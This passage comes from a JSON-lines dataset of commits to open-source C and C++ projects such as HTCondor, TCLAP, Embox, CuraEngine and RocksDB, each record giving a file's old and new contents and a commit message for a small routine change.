d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"ssm\/pkg-varnish,CartoDB\/Varnish-Cache,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish"}
{"commit":"c0d6f035e91ad580fca2e764c7bbe6c70d4d5c74","old_file":"src\/condor_includes\/condor_syscall_mode.h","new_file":"src\/condor_includes\/condor_syscall_mode.h","old_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nint GetSyscallMode();\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if defined(OSF1) || defined(HPUX9)\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nint GetSyscallMode();\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if defined(OSF1) || defined(HPUX9)\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Make work for AIX machines.","message":"Make work for AIX machines.\n","lang":"C","license":"apache-2.0","repos":"zhangzhehust\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,htcondor\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/condor,htcondor\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco"}
{"commit":"f08a19b4cdf0740d852fc4cadf1c27f4cf63cfb9","old_file":"libmorton\/include\/morton_common.h","new_file":"libmorton\/include\/morton_common.h","old_contents":"#pragma once\n\n#include <stdint.h>\n#if _MSC_VER\n#include <intrin.h>\n#endif\n\ntemplate<typename morton>\ninline bool findFirstSetBit(const morton x, unsigned long* firstbit_location) {\n#if _MSC_VER && !_WIN64\n\t\/\/ 32 BIT on 32 BIT\n\tif (sizeof(morton) <= 4) {\n\t\treturn _BitScanReverse(firstbit_location, x);\n\t}\n\t\/\/ 64 BIT on 32 BIT\n\telse {\n\t\t*firstbit_location = 0;\n\t\tif (_BitScanReverse(firstbit_location, (x >> 32))) { \/\/ check first part\n\t\t\tfirstbit_location += 32;\n\t\t\treturn true;\n\t\t}\n\t\treturn _BitScanReverse(firstbit_location, (x & 0xFFFFFFFF));\n\t}\n#elif  _MSC_VER && _WIN64\n\t\/\/ 32 or 64 BIT on 64 BIT\n\treturn _BitScanReverse64(firstbit_location, x);\n#elif __GNUC__\n\tif (x == 0) {\n\t\treturn false;\n\t}\n\telse {\n\t\t*firstbit_location = static_cast<unsigned long>((sizeof(morton)*8) - __builtin_clzll(x));\n\t\treturn true;\n\t}\n#endif\n}","new_contents":"#pragma once\n\n\/\/ Libmorton - Common helper methods needed in Morton encoding\/decoding\n\n#include <stdint.h>\n#if _MSC_VER\n#include <intrin.h>\n#endif\n\ntemplate<typename morton>\ninline bool findFirstSetBit(const morton x, unsigned long* firstbit_location) {\n#if _MSC_VER && !_WIN64\n\t\/\/ 32 BIT on 32 BIT\n\tif (sizeof(morton) <= 4) {\n\t\treturn _BitScanReverse(firstbit_location, x);\n\t}\n\t\/\/ 64 BIT on 32 BIT\n\telse {\n\t\t*firstbit_location = 0;\n\t\tif (_BitScanReverse(firstbit_location, (x >> 32))) { \/\/ check first part\n\t\t\tfirstbit_location += 32;\n\t\t\treturn true;\n\t\t}\n\t\treturn _BitScanReverse(firstbit_location, (x & 0xFFFFFFFF));\n\t}\n#elif  _MSC_VER && _WIN64\n\t\/\/ 32 or 64 BIT on 64 BIT\n\treturn _BitScanReverse64(firstbit_location, x) != 0;\n#elif __GNUC__\n\tif (x == 0) {\n\t\treturn false;\n\t}\n\telse {\n\t\t*firstbit_location = static_cast<unsigned long>((sizeof(morton)*8) - __builtin_clzll(x));\n\t\treturn true;\n\t}\n#endif\n}","subject":"Fix MSVC compiler warnings about return value not being a boolean","message":"Fix MSVC compiler warnings about return value not being a boolean\n","lang":"C","license":"mit","repos":"Forceflow\/libmorton"}
{"commit":"b96e42cf7643421ab923ac1d4bb0119c2f3faa8e","old_file":"include\/tclap\/Visitor.h","new_file":"include\/tclap\/Visitor.h","old_contents":"\n\/****************************************************************************** \n * \n *  file:  Visitor.h\n * \n *  Copyright (c) 2003, Michael E. Smoot .\n *  All rights reverved.\n * \n *  See the file COPYING in the top directory of this distribution for\n *  more information.\n *  \n *  THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS \n *  OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL \n *  THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \n *  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER \n *  DEALINGS IN THE SOFTWARE.  \n *  \n *****************************************************************************\/ \n\n\n#ifndef TCLAP_VISITOR_H\n#define TCLAP_VISITOR_H\n\nnamespace TCLAP {\n\n\/**\n * A base class that defines the interface for visitors.\n *\/\nclass Visitor\n{\n\tpublic:\n\n\t\t\/**\n\t\t * Constructor. Does nothing.\n\t\t *\/\n\t\tVisitor() { }\n\n\t\t\/**\n\t\t * Destructor. Does nothing.\n\t\t *\/\n\t\tvirtual ~Visitor() { }\n\n\t\t\/**\n\t\t * Does nothing. Should be overridden by child.\n\t\t *\/\n\t\tvirtual void visit() { }\n};\n\n}\n\n#endif\n","new_contents":"\n\/****************************************************************************** \n * \n *  file:  Visitor.h\n * \n *  Copyright (c) 2003, Michael E. Smoot .\n *  All rights reverved.\n * \n *  See the file COPYING in the top directory of this distribution for\n *  more information.\n *  \n *  THE SOFTWARE IS PROVIDED _AS IS_, WITHOUT WARRANTY OF ANY KIND, EXPRESS \n *  OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL \n *  THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \n *  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER \n *  DEALINGS IN THE SOFTWARE.  \n *  \n *****************************************************************************\/ \n\n\n#ifndef TCLAP_VISITOR_H\n#define TCLAP_VISITOR_H\n\nnamespace TCLAP {\n\n\/**\n * A base class that defines the interface for visitors.\n *\/\nclass Visitor\n{\n\tpublic:\n\n\t\t\/**\n\t\t * Constructor. Does nothing.\n\t\t *\/\n\t\tVisitor() { }\n\n\t\t\/**\n\t\t * Destructor. Does nothing.\n\t\t *\/\n\t\tvirtual ~Visitor() { }\n\n\t\t\/**\n\t\t * This method (to implemented by children) will be\n\t\t * called when the visitor is visited.\n\t\t *\/\n\t\tvirtual void visit() = 0;\n};\n\n}\n\n#endif\n","subject":"Make \"visit\" method pure virtual (needs to be implemented by subclass to make sense).","message":"Make \"visit\" method pure virtual (needs to be implemented by subclass\nto make sense).\n","lang":"C","license":"mit","repos":"ufz\/tclap,ufz\/tclap,mjkoo\/tclap,mirror\/tclap,ufz\/tclap,mirror\/tclap,Qointum\/tclap,mc-server\/TCLAP,xguerin\/tclap,mc-server\/TCLAP,Qointum\/tclap,mirror\/tclap,mirror\/tclap,mjkoo\/tclap,xguerin\/tclap,xguerin\/tclap,mjkoo\/tclap,xguerin\/tclap,mc-server\/TCLAP,Qointum\/tclap"}
{"commit":"d8f45f076d3f27ac094acb998c2c457ec2ae105f","old_file":"RectConfinementForce.h","new_file":"RectConfinementForce.h","old_contents":"\/*===- RectConfinementForce.h - libSimulation -=================================\n*\n*                                  DEMON\n* \n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef RECTCONFINEMENTFORCE_H\n#define RECTCONFINEMENTFORCE_H\n\n#include \"Force.h\"\n\nclass RectConfinementForce : public Force {\npublic:\n\tRectConfinementForce(Cloud * const C, double confineConstX, double confineConstY)\n\t: Force(C), confineX(-confineConstX), confineY(-confineConstY) {}\n\t\/\/ IMPORTANT: In the above constructor, confineConst_'s must be positive!\n\t~RectConfinementForce() {}\n\n\/\/ public functions:\n\tvoid force1(const double currentTime); \/\/ rk substep 1\n\tvoid force2(const double currentTime); \/\/ rk substep 2\n\tvoid force3(const double currentTime); \/\/ rk substep 3\n\tvoid force4(const double currentTime); \/\/ rk substep 4\n\n\tvoid writeForce(fitsfile * const file, int * const error) const;\n\tvoid readForce(fitsfile * const file, int * const error);\n\nprivate:\n\/\/ private variables:\n\tdouble confineX;\n\tdouble confineY;\n\n\/\/ private functions:\n\tvoid force(const cloud_index currentParticle, const __m128d currentPositionX, const __m128d currentPositionY);\n};\n\n#endif \/\/ RECTCONFINEMENTFORCE_H\n","new_contents":"\/*===- RectConfinementForce.h - libSimulation -=================================\n*\n*                                  DEMON\n* \n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef RECTCONFINEMENTFORCE_H\n#define RECTCONFINEMENTFORCE_H\n\n#include \"Force.h\"\n\nclass RectConfinementForce : public Force {\npublic:\n\tRectConfinementForce(Cloud * const C, double confineConstX, double confineConstY)\n\t: Force(C), confineX(confineConstX), confineY(-confineConstY) {}\n\t\/\/ IMPORTANT: In the above constructor, confineConst_'s must be positive!\n\t~RectConfinementForce() {}\n\n\/\/ public functions:\n\tvoid force1(const double currentTime); \/\/ rk substep 1\n\tvoid force2(const double currentTime); \/\/ rk substep 2\n\tvoid force3(const double currentTime); \/\/ rk substep 3\n\tvoid force4(const double currentTime); \/\/ rk substep 4\n\n\tvoid writeForce(fitsfile * const file, int * const error) const;\n\tvoid readForce(fitsfile * const file, int * const error);\n\nprivate:\n\/\/ private variables:\n\tdouble confineX;\n\tdouble confineY;\n\n\/\/ private functions:\n\tvoid force(const cloud_index currentParticle, const __m128d currentPositionX, const __m128d currentPositionY);\n};\n\n#endif \/\/ RECTCONFINEMENTFORCE_H\n","subject":"Fix direction of rectangular confinement force.","message":"Fix direction of rectangular confinement force.","lang":"C","license":"bsd-3-clause","repos":"leios\/demonsimulationcode,leios\/demonsimulationcode"}
{"commit":"ae6149b38413f373634eec6bfd897789cb0c7bdf","old_file":"tests\/regression\/29-svcomp\/12_interval_bot.c","new_file":"tests\/regression\/29-svcomp\/12_interval_bot.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --enable ana.int.def_exc\n\nint main(){\n\n  unsigned long long a ;\n  unsigned long long addr;\n\n  if(a + addr > 0x0ffffffffULL){\n    return 1;\n  }\n}\n","subject":"Add minimal failing test case","message":"Add minimal failing test case\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bf6888b5555a045a90642bf637f1a18f82559bcc","old_file":"src\/arch\/microblaze\/kernel\/interrupt_handler.c","new_file":"src\/arch\/microblaze\/kernel\/interrupt_handler.c","old_contents":"\/**\n * @file\n * @details This file contains @link interrupt_handler() @endlink function.\n *        It's proxy between asm code and kernel interrupt handler\n *        @link irq_dispatch() @endlink function.\n *\n * @date 27.11.09\n * @author Anton Bondarev\n *\/\n\n#include <drivers\/irqctrl.h>\n#include <asm\/msr.h>\n\n\/* we havn't interrupts acknowledgment in microblaze architecture\n * and must receive interrupt number our self and then clear pending bit in\n * pending register\n *\/\nvoid interrupt_handler(void) {\n\tunsigned int pending;\n\n\twhile (0 != (pending = mb_intc_get_pending())) {\n\t\tunsigned int irq_num;\n\n\t\tfor (irq_num = 0; irq_num < IRQCTRL_IRQS_TOTAL; irq_num++) {\n\t\t\tif (pending & (1 << irq_num)) {\n\t\t\t\t\/\/TODO we must clear whole pending register\n\t\t\t\tirqctrl_clear(irq_num);\n\n\t\t\t\t\/*now we allow nested irq*\/\n\t\t\t\tmsr_set_ie();\n\n\t\t\t\tirq_dispatch(irq_num);\n\t\t\t}\n\t\t}\n\t}\n}\n","new_contents":"\/**\n * @file\n * @details This file contains @link interrupt_handler() @endlink function.\n *        It's proxy between asm code and kernel interrupt handler\n *        @link irq_dispatch() @endlink function.\n *\n * @date 27.11.09\n * @author Anton Bondarev\n *\/\n\n#include <drivers\/irqctrl.h>\n#include <asm\/msr.h>\n#include <kernel\/irq.h>\n\n\/* we havn't interrupts acknowledgment in microblaze architecture\n * and must receive interrupt number our self and then clear pending bit in\n * pending register\n *\/\nvoid interrupt_handler(void) {\n\tunsigned int pending;\n\n\twhile (0 != (pending = mb_intc_get_pending())) {\n\t\tunsigned int irq_num;\n\n\t\tfor (irq_num = 0; irq_num < IRQCTRL_IRQS_TOTAL; irq_num++) {\n\t\t\tif (pending & (1 << irq_num)) {\n\t\t\t\t\/\/TODO we must clear whole pending register\n\t\t\t\tirqctrl_clear(irq_num);\n\n\t\t\t\t\/*now we allow nested irq*\/\n\t\t\t\tmsr_set_ie();\n\n\t\t\t\tirq_dispatch(irq_num);\n\t\t\t}\n\t\t}\n\t}\n}\n","subject":"Fix microblaze build after merge 480c64b","message":"Fix microblaze build after merge 480c64b","lang":"C","license":"bsd-2-clause","repos":"gzoom13\/embox,mike2390\/embox,embox\/embox,Kefir0192\/embox,abusalimov\/embox,mike2390\/embox,mike2390\/embox,gzoom13\/embox,Kefir0192\/embox,Kakadu\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,gzoom13\/embox,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,embox\/embox,Kakadu\/embox,embox\/embox,vrxfile\/embox-trik,Kefir0192\/embox,Kefir0192\/embox,Kakadu\/embox,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,abusalimov\/embox,Kefir0192\/embox,vrxfile\/embox-trik,abusalimov\/embox,vrxfile\/embox-trik,Kefir0192\/embox,abusalimov\/embox,embox\/embox,mike2390\/embox,Kakadu\/embox,Kefir0192\/embox,abusalimov\/embox,embox\/embox,vrxfile\/embox-trik,embox\/embox,mike2390\/embox,Kakadu\/embox"}
{"commit":"267980e066f9e8c5df8902cdec2005018f632a4d","old_file":"simulator\/mips\/mips.h","new_file":"simulator\/mips\/mips.h","old_contents":"\/**\n * mips.h - all the aliases to MIPS ISA\n * @author Aleksandr Misevich\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef MIPS_H_\n#define MIPS_H_\n\n#include \"mips_instr.h\"\n\n#include <infra\/instrcache\/instr_cache_memory.h>\n\ntemplate<MIPSVersion VERSION>\nstruct MIPS\n{\n    using Register = MIPSRegister;\n    using RegisterUInt = MIPSRegisterUInt<VERSION>;\n    using FuncInstr = MIPSInstr<VERSION>;\n    using Memory = InstrMemory<FuncInstr>;\n    static const auto& get_instr( uint32 bytes, Addr PC) {\n        return FuncInstr( VERSION, bytes, PC);\n    }\n};\n\n\/\/ 32 bit MIPS\nusing MIPSI   = MIPS<MIPSVersion::I>;\nusing MIPSII  = MIPS<MIPSVersion::II>;\nusing MIPS32  = MIPS<MIPSVersion::v32>;\n\n\/\/ 64 bit MIPS\nusing MIPSIII = MIPS<MIPSVersion::III>;\nusing MIPSIV  = MIPS<MIPSVersion::IV>;\nusing MIPS64  = MIPS<MIPSVersion::v64>;\n\nstatic_assert( std::is_same_v<MIPS32Instr, MIPS32::FuncInstr>);\nstatic_assert( std::is_same_v<MIPS64Instr, MIPS64::FuncInstr>);\n\n#endif \/\/ MIPS_H_\n","new_contents":"\/**\n * mips.h - all the aliases to MIPS ISA\n * @author Aleksandr Misevich\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef MIPS_H_\n#define MIPS_H_\n\n#include \"mips_instr.h\"\n\n#include <infra\/instrcache\/instr_cache_memory.h>\n\ntemplate<MIPSVersion version>\nstruct MIPS\n{\n    using Register = MIPSRegister;\n    using RegisterUInt = MIPSRegisterUInt<version>;\n    using FuncInstr = MIPSInstr<version>;\n    using Memory = InstrMemory<FuncInstr>;\n    static const auto& get_instr( uint32 bytes, Addr PC) {\n        return FuncInstr( version, bytes, PC);\n    }\n};\n\n\/\/ 32 bit MIPS\nusing MIPSI   = MIPS<MIPSVersion::I>;\nusing MIPSII  = MIPS<MIPSVersion::II>;\nusing MIPS32  = MIPS<MIPSVersion::v32>;\n\n\/\/ 64 bit MIPS\nusing MIPSIII = MIPS<MIPSVersion::III>;\nusing MIPSIV  = MIPS<MIPSVersion::IV>;\nusing MIPS64  = MIPS<MIPSVersion::v64>;\n\nstatic_assert( std::is_same_v<MIPS32Instr, MIPS32::FuncInstr>);\nstatic_assert( std::is_same_v<MIPS64Instr, MIPS64::FuncInstr>);\n\n#endif \/\/ MIPS_H_\n","subject":"Rename VERSION to avoid overlapping with external macros","message":"Rename VERSION to avoid overlapping with external macros","lang":"C","license":"mit","repos":"MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015"}
{"commit":"1243b447349640c14dc76a2f441edb77a9892186","old_file":"include\/knowledge\/ClassSelector.h","new_file":"include\/knowledge\/ClassSelector.h","old_contents":"","new_contents":"#ifndef CLASS_SELECTOR_H_\n#define CLASS_SELECTOR_H_\n\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Instruction.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/IntrinsicInst.h\"\n#include \"llvm\/IR\/BasicBlock.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/Operator.h\"\n#include \"llvm\/IR\/Type.h\"\n#include \"llvm\/IR\/Value.h\"\n#include \"llvm\/IR\/User.h\"\n#include \"llvm\/IR\/Argument.h\"\n#include \"llvm\/IR\/Constant.h\"\n#include \"llvm\/Analysis\/RegionInfo.h\"\n#include \"llvm\/Analysis\/LoopInfo.h\"\n#include \"llvm\/IR\/GlobalVariable.h\"\n#include \"llvm\/IR\/GlobalValue.h\"\n#include \"llvm\/IR\/GlobalAlias.h\"\n#include \"llvm\/IR\/InlineAsm.h\"\n#include \"llvm\/ADT\/DenseSet.h\"\n#include \"llvm\/ADT\/DenseMap.h\"\n#include \"llvm\/Support\/Casting.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Support\/Casting.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/Analysis\/RegionInfo.h\"\n#include \"llvm\/Analysis\/LoopInfo.h\"\n#include \"llvm\/Analysis\/RegionPass.h\"\n#include \"llvm\/Analysis\/LoopPass.h\"\n#include \"llvm\/ADT\/Optional.h\"\nnamespace knowledge {\n\ntemplate<typename T>\nstruct ElectronClassNameSelector {\n\tstatic void selectName(llvm::raw_string_ostream& str) {\n\t\tstr << \"\";\n\t}\n};\n\n#define X(__, type, className, ___) \\\n\ttemplate<> \\\n\tstruct ElectronClassNameSelector<type> { \\\n\t\tstatic void selectName(llvm::raw_string_ostream& str) { \\\n\t\t\tstr << className ; \\\n\t\t} \\\n\t};\n#include \"knowledge\/EngineNodes.def\"\n#undef X\n}\n#endif \/\/ CLASS_SELECTOR_H_\n","subject":"Move class selection code out to a separate header","message":"Move class selection code out to a separate header\n\n- makes it possible to be referenced by teh gen-clips-classes program\n","lang":"C","license":"bsd-3-clause","repos":"DrItanium\/durandal,DrItanium\/durandal"}
{"commit":"f585f6437fb528405f2a9afb620b21be21bebfac","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdio.h>\n\nint main(int argc, char *argv[])\n{\n    printf(\"gxtas - The GTA Text Assembler\\n\");\n\n    return 0;\n}\n","new_contents":"\/*\n * Copyright (c) 2017 Wes Hampson <thehambone93@gmail.com>\n *\n * Licensed under the MIT License. See LICENSE at top level directory.\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"gxtas.h\"\n\nvoid show_help_info(void)\n{\n    printf(\"%s\\n\", GXTAS_HELP_MESSAGE);\n}\n\nvoid show_version_info(void)\n{\n    printf(\"%s - %s\\n\", GXTAS_APP_NAME, GXTAS_APP_MOTTO);\n    printf(\"Version %d.%d.%d%s\\n\", GXTAS_VERSION_MAJOR, GXTAS_VERSION_MINOR,\n                                   GXTAS_VERSION_PATCH, GXTAS_VERSION_BUILD);\n\n    printf(\"\\n%s\\n\", GXTAS_COPYRIGHT_NOTICE);\n    printf(\"\\n%s\\n\", GXTAS_LICENSE_NOTICE);\n    printf(\"\\n%s\\n\", GXTAS_WARRANTY_NOTICE);\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc < 2)\n    {\n        show_help_info();\n    }\n    else if (strcmp(argv[1], \"--version\") == 0)\n    {\n        show_version_info();\n    }\n    else\n    {\n        show_help_info();\n    }\n    return 0;\n}\n","subject":"Add license header, add version and help info","message":"Add license header, add version and help info\n","lang":"C","license":"mit","repos":"thehambone93\/gxtmaker,thehambone93\/gxtmaker"}
{"commit":"0f262e2c5921e8febea95f259c41302714de5a6a","old_file":"src\/settings\/types\/Ratio.h","new_file":"src\/settings\/types\/Ratio.h","old_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef RATIO_H\n#define RATIO_H\n\nnamespace cura\n{\n\n\/*\n * \\brief Represents a ratio between two numbers.\n *\n * This is a facade. It behaves like a double.\n *\/\nstruct Ratio\n{\n    \/*\n     * \\brief Default constructor setting the ratio to 1.\n     *\/\n    constexpr Ratio() : value(1.0) {};\n\n    \/*\n     * \\brief Casts a double to a Ratio instance.\n     *\/\n    constexpr Ratio(double value) : value(value \/ 100) {};\n\n    \/*\n     * \\brief Casts the Ratio instance to a double.\n     *\/\n    operator double() const\n    {\n        return value;\n    }\n\n    \/*\n     * \\brief The actual ratio, as a double.\n     *\/\n    double value = 0;\n};\n\nconstexpr Ratio operator \"\" _r(const long double ratio)\n{\n    return Ratio(ratio);\n}\n\n}\n\n#endif \/\/RATIO_H","new_contents":"\/\/Copyright (c) 2018 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#ifndef RATIO_H\n#define RATIO_H\n\nnamespace cura\n{\n\n\/*\n * \\brief Represents a ratio between two numbers.\n *\n * This is a facade. It behaves like a double.\n *\/\nstruct Ratio\n{\n    \/*\n     * \\brief Default constructor setting the ratio to 1.\n     *\/\n    constexpr Ratio() : value(1.0) {};\n\n    \/*\n     * \\brief Casts a double to a Ratio instance.\n     *\/\n    constexpr Ratio(double value) : value(value \/ 100) {};\n\n    \/*\n     * \\brief Casts the Ratio instance to a double.\n     *\/\n    operator double() const\n    {\n        return value;\n    }\n\n    \/*\n     * Some operators for arithmetic on ratios.\n     *\/\n    Ratio operator *(const Ratio& other) const\n    {\n        return Ratio(value * other.value);\n    }\n    template<typename E> Ratio operator *(const E& other) const\n    {\n        return Ratio(value * other);\n    }\n    Ratio operator \/(const Ratio& other) const\n    {\n        return Ratio(value \/ other.value);\n    }\n    template<typename E> Ratio operator \/(const E& other) const\n    {\n        return Ratio(value \/ other);\n    }\n    Ratio& operator *=(const Ratio& other)\n    {\n        value *= other.value;\n        return *this;\n    }\n    template<typename E> Ratio& operator *=(const E& other)\n    {\n        value *= other;\n        return *this;\n    }\n    Ratio& operator \/=(const Ratio& other)\n    {\n        value \/= other.value;\n        return *this;\n    }\n    template<typename E> Ratio& operator \/=(const E& other)\n    {\n        value \/= other;\n        return *this;\n    }\n\n    \/*\n     * \\brief The actual ratio, as a double.\n     *\/\n    double value = 0;\n};\n\nconstexpr Ratio operator \"\" _r(const long double ratio)\n{\n    return Ratio(ratio);\n}\n\n}\n\n#endif \/\/RATIO_H","subject":"Add operators for arithmetic with ratios","message":"Add operators for arithmetic with ratios\n\nContributes to issue CURA-4410.\n","lang":"C","license":"agpl-3.0","repos":"Ultimaker\/CuraEngine,Ultimaker\/CuraEngine"}
{"commit":"472c06e90366bc906d48caac6d9e6320e4823116","old_file":"include\/rocksdb\/perf_level.h","new_file":"include\/rocksdb\/perf_level.h","old_contents":"\/\/ Copyright (c) 2011-present, Facebook, Inc.  All rights reserved.\n\/\/ This source code is licensed under the BSD-style license found in the\n\/\/ LICENSE file in the root directory of this source tree. An additional grant\n\/\/ of patent rights can be found in the PATENTS file in the same directory.\n\n#ifndef INCLUDE_ROCKSDB_PERF_LEVEL_H_\n#define INCLUDE_ROCKSDB_PERF_LEVEL_H_\n\n#include <stdint.h>\n#include <string>\n\nnamespace rocksdb {\n\n\/\/ How much perf stats to collect. Affects perf_context and iostats_context.\n\nenum PerfLevel {\n  kDisable = 0,                   \/\/ disable perf stats\n  kEnableCount = 1,               \/\/ enable only count stats\n  kEnableTimeExceptForMutex = 2,  \/\/ Other than count stats, also enable time\n                                  \/\/ stats except for mutexes\n  kEnableTime = 3                 \/\/ enable count and time stats\n};\n\n\/\/ set the perf stats level for current thread\nvoid SetPerfLevel(PerfLevel level);\n\n\/\/ get current perf stats level for current thread\nPerfLevel GetPerfLevel();\n\n}  \/\/ namespace rocksdb\n\n#endif  \/\/ INCLUDE_ROCKSDB_PERF_LEVEL_H_\n","new_contents":"\/\/ Copyright (c) 2011-present, Facebook, Inc.  All rights reserved.\n\/\/ This source code is licensed under the BSD-style license found in the\n\/\/ LICENSE file in the root directory of this source tree. An additional grant\n\/\/ of patent rights can be found in the PATENTS file in the same directory.\n\n#ifndef INCLUDE_ROCKSDB_PERF_LEVEL_H_\n#define INCLUDE_ROCKSDB_PERF_LEVEL_H_\n\n#include <stdint.h>\n#include <string>\n\nnamespace rocksdb {\n\n\/\/ How much perf stats to collect. Affects perf_context and iostats_context.\n\nenum PerfLevel : char {\n  kUninitialized = -1,            \/\/ unknown setting\n  kDisable = 0,                   \/\/ disable perf stats\n  kEnableCount = 1,               \/\/ enable only count stats\n  kEnableTimeExceptForMutex = 2,  \/\/ Other than count stats, also enable time\n                                  \/\/ stats except for mutexes\n  kEnableTime = 3,                \/\/ enable count and time stats\n  kOutOfBounds = 4                \/\/ N.B. Must always be the last value!\n};\n\n\/\/ set the perf stats level for current thread\nvoid SetPerfLevel(PerfLevel level);\n\n\/\/ get current perf stats level for current thread\nPerfLevel GetPerfLevel();\n\n}  \/\/ namespace rocksdb\n\n#endif  \/\/ INCLUDE_ROCKSDB_PERF_LEVEL_H_\n","subject":"Add low and upper bound values for 